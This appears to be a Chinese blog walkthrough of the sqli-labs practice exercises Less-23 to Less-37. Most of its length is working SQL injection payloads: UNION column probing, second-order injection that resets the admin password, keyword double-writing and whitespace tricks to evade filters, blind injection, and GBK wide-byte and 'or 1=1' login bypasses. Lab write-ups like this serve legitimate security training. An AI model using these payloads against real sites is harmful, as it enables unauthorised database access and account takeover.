继续继续!这里是高级部分!
less-23:
提示输入id参数,尝试:
?id=1' and '1
返回的结果与?id=1相同,所以可以直接利用了。
?id=1' order by 5#
可是页面返回了错误,后来又试了--,一直无法注释,不知道什么情况。后来看标题,发现已经把注释给过滤掉了。服务端如下代码:
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
既然用不了注释就无法用order by了,那就简单粗暴一点,直接union较多的行数,然后一个一个减。比如先尝试:
?id=1000' union select 1,2,3,4,'5 ==>> 返回错误
?id=1000' union select 1,2,3,'4 ==>> 返回错误
?id=1000' union select 1,2,'3 ==>> 返回下图
下面就不细说喽~
less-24:
遇到这一题直接蒙圈了,因为之前没有遇到过这种逻辑题。首先分析一下页面,首页是登录页面,也可以进行注册。登录之后显示修改密码页面。就是这三个功能:注册,登录,修改。在注册页面我把每个字段都尝试了一遍,单引号双引号,都无法注入。登录页面也不行,修改密码页面也不行。。感觉gg了,后来想到有可能是二次注入,二次注入就是第一次先将有害字符存到数据库中,在第二次注入时利用第一次注入的有效字符。差不多就是这个意思,我之前也只是在书上看到过,没有实战过。试了一会就求助WriteUp了,上面说注册用户名为admin'#,然后用这个账号进行登录。当修改这个账号的密码的时候,后台会自动把admin的密码给修改掉,下面先操作一遍。
先注册,username=admin'#&password=123123,然后看一眼数据库:
注意,此时admin的密码是admin,而我们注册的admin'#的密码是123123。
下面进行登录,这是登录后的修改密码界面:
输入admin'#的密码123123,再输入两次要改的密码gagaga。页面返回修改成功,现在我们再回来看一眼数据库:
可以清楚的看到,admin的密码被我给改了,然后我们就可以登录管理员的账号了~
下面从后台代码的角度分析一下。先看一下注册页面
我们可以看到,我们传过来的几个参数都被转义了,mysql_escape_string是将单引号,双引号进行转义,在其前面加上一个\字符,此时insert语句变成了这样:
insert into users (username, password) values (\"admin\'#\", \"123123\");
这个反斜杠仅仅是告诉MySQL,这是普通的字符串引号,而不是用于闭合的引号。所以在真正进行插入数据的时候,反斜杠并不会被插入,也就是说,这条语句执行之后,username的值是admin'#,而不是admin'#。
现在我们已经做好第一次注入了,下面要利用这个username进行第二次注入。看一下改密码的后台代码:
这个$username是直接从session中取的,而session是在登录之后生成的,看一下登录页面的后台代码:
可以看到,先调用sqllogin()函数,此函数返回$row1或者0(登录失败时)。如果不返回0,则将$row[1]赋值给session。现在我们知道了,这个session就是直接从数据库中取得。注意一个点,在sqllogin函数内部进行select查询时,其返回的结果并没有经过mysql_real_escape_string的过滤,这就相当于username的值直接赋值给session了。也就是说$_SESSION["username"] === "admin'#",注意,没有反斜杠。
下面回到上上图,$username获取$_SESSION['username']的值,也就是admin'#。再然后,将$username拼接到一个update语句中。使sql语句直接变成了:
update users set passwrod = '$pass' where username='admin'#' and password='$curr_pass'
由于这里的username的值并没有进行过滤,导致其中的单引号与前面的单引号拼接,使之等价于:
update users set password = '$pass' where username='admin'
所以,admin的密码就这么被修改了。
总结一下,这个漏洞是由于过滤不当造成的。因为系统仅仅在用户输入的时候对敏感字符进行了转义,而在读取数据库的时候却没有对其中的有害字符进行转义。所以说,对于后端代码而言,每一次读取数据都要进行转义,不论是读取用户的还是读取数据库的。
less-25:
首页提示,你的and和or都属于我,瞬间感觉到了被支配的恐惧。。。
下面来尝试一下:
?id=1 and 1
页面提示,变成了
?id=1 1
然后试了一下or,发现也被转义了。那试一下order试试:
?id=1 order by 5#
页面提示,被过滤成了:
?id=1 der by 5
order 和#都被过滤了。下面把order改成大小写交替,把#改成--%20。看返回的页面,这回--%20逃出魔爪,而order依旧被过滤。估计是order被正则了,后台去掉的order的前两个字符。把order换成ororder,发现or又没了。估计后台的不是正则order,而是or。。我的天,我现在突然感觉我是猪脑袋,题目不是已经说了and和or在它手上吗!所以就好办了,把order换成oorrder,这时or被正则掉,刚好剩下order。payload:
?id=1 oorrder by 10--%20
页面提示语法错误,原来id是个单引号字符串,将payload修改成:
?id=1' oorrder by 10--%20
提示10是未知的列,ok,说明已经完成了,直接最后一步:
?id=1000' union select 1,database(), user()--%20
溜了溜了~
less-25a:
这题跟上一题一样,只不过less-25是单引号字符串,而这一题是数字型。就这个小小的变化坑了我好久。像上一题,判断注入类型的时候一般这样:
?id=1'and'1
然后根据返回结果,最多三次就能判断出注入类型。而这题就坑了,先看一下我的payload:
?id=1and1
有什么区别?对于第二题语句,这是有语病的,语病就是and和数字之间应当有空格,这就很奇葩了。。可以使用and'1',也可以用and"1",还可以用and1
,就是不能用数字。这个小小的细节一定记住,要不打比赛的时候有你受的。。
less-26:
这题提示空格和注释都被过滤了,也就是说/**/,#,--%20都不能用了。还有and和or也都被过滤了,所以这道题是上面的加强版。空格被过滤,按照老套路,可以使用%0a(换行)来替换。但是试了发现这个也被过滤了。那就不用空格试试:
?id=1'and'1
返回被过滤成了1''1,按照上一题的绕法,在and中再写一个and就ok了:
?id=1'anandd'1
此时页面返回的结果已经与?id=1返回的一致了。我一开始直接用union,但是后边因为括号不好闭合就放弃了。那就只好用盲注了:
?id=1'anandd(select(version()<>0))anandd'1
返回与上面一致。payload的意思是在两个1中间and一个version()不等于0,成立返回1,反之返回0。由于页面与之前一致,所以这里是1。后面就可以用脚本开干了。
less-26a:
看了题目,意思是要union出数据,less-26也是这样。。但是这在win下是不可能的(有大佬会的话请教教我!),因为空格和一些注释被过滤掉了,我尝试过%0a,%0b等都不行。后来看了网上的Writeup,都是用%a0来绕的,可是我的环境用%a0会出错,好像linux环境不会出错。贴个图:
我输入的payload是:
?id=1'%a0aandnd%a0'1
如果%a0能生效的话,上面就应该出现username和password了,而不是warning。所以表哥们自行尝试吧- -
less-27:
绕过方法跟上面一样,用%a0代替空格,union用双写。select用双写不行了,换成大小写交替就ok了。
less-27a:
跟less-27类似,只是上一个是数值型,这一个是双引号字符型。
less-28:
这题对union和select的过滤方式稍有不同。之前的原理是去除id参数中的union和select关键字,所以可以利用uniunionon这种方式绕过。而这一题通过返回的结果分析,后台是匹配"union select"这个关键字的,所以经过一番尝试之后,可以通过union union select select这种方式来绕过。
还有一点就是前面几题绕过空格的方法只有使用%a0替换空格,而这一题似乎过滤方式与之前也不同,使用%0a也是可以绕过的。
上面这些分析出来就差不多了,剩下的就是推断原sql语句长的什么样。payload:
?id=100')%0aunion%0aunion%0aselect%0a(select%0a1,2,'3
less-28a:
这题就更简单了,题目提示只过滤了union和select。而过滤的方法还是跟上一题一样,匹配"union select"关键字,所以绕过方法也就跟上面一样了。payload:
?id=100') union union select (select 1,2,'3
less-29:
不知道为什么说这题被世界上最好的防火墙保护着,这尼玛明明什么都没过滤啊,直接上payload吧:
?id=100' union select 1,2,'3
less-30:
同上题一样,只不过是双引号:
?id=100" union select 1,2,"3
less-31:
防火墙你醒醒!这题还是没变,不过在id后加上双引号之后,根据返回的结果来看,id是被括号包着的,所以payload有一点点小变化:
?id=100") union (select 1,2,"3
less-32:
这题没有任何提示,先fuzz看看id是什么类型的。当输入单引号时发现返回的是',估计后台用了mysql_real_escape_string()之类的函数,遇到这种情况只能试试宽字节注入了。在'前面加上%df,变成这样:
?id=1%df'
这时,后台会在'前面加上反斜杠:
?id=1%df\'
如果数据库是使用gbk编码的话,它会将%df\合并成一个字符'運',这时这个语句就变成了这样:
?id=1運'
可以看出,单引号已经逃逸出来了。根据测试,这题果然是一个宽字节注入,因为当我输入?id=1%df'的时候,页面返回了一个SQL语法错误,这就是多出来的引号造成的。
现在引号已经逃出来了,所以我们可以使用union把数据爆出来,不过前提是要把后面的引号注释掉。但是即使我们使用宽字节也是无法将后面的单引号闭合的,比如:
union select 1,2,%df'
会变成
union select 1,2,運'
而这是一个语法错误,所以是无法闭合的
那就只好用注释了,而这题刚好没有过滤注释。payload:
?id=100%df' union select 1,2,3--%20
less-33:
跟上一题一模一样:
?id=100%df'union select 1,2,3--%20
less-34:
这题是宽字节绕过登录,不过我在本地测试一直不成功,测试payload如下:
uname=1%df' or 1=1#&passwd=1
这里的单引号并不能逃逸,然后我把%df通过url解码变成ß,还是不行。看下源码,跟前几题并没有什么不同。然后看了<mysql注入天书>,他用的方法是'的utf-16表示:�'。然后我试了一下,的确绕过了:
uname=1�' or 1=1#&passwd=1
至今不知是何原理,希望了解的小哥教教我!
less-35:
这题是数字型注入,不需要单引号,自然躲过了addslashes()。常规操作:
?id=100 union select 1,2,3#
less-36:
先尝试注入类型,输入单引号后发现返回',所以后台又是addslashes()。输入:
?id=1%df'
返回SQL语法错误,说明单引号逃逸出来了。常规操作一波:
?id=100%df' union select 1,2,3#
返回发现#被过滤,换成--%20:
?id=100%df' union select 1,2,3--%20
less-37:
这题一看就知道应该是宽字节注入绕过登录的意思,但是我千试百试,引号就是逃逸不出来。后来发现跟less-34一样,%df不能用,得用�(url编码之后是%uFFFD)。payload:
uname=abc�' or 1#
passwd=abc
然后就绕过登录了。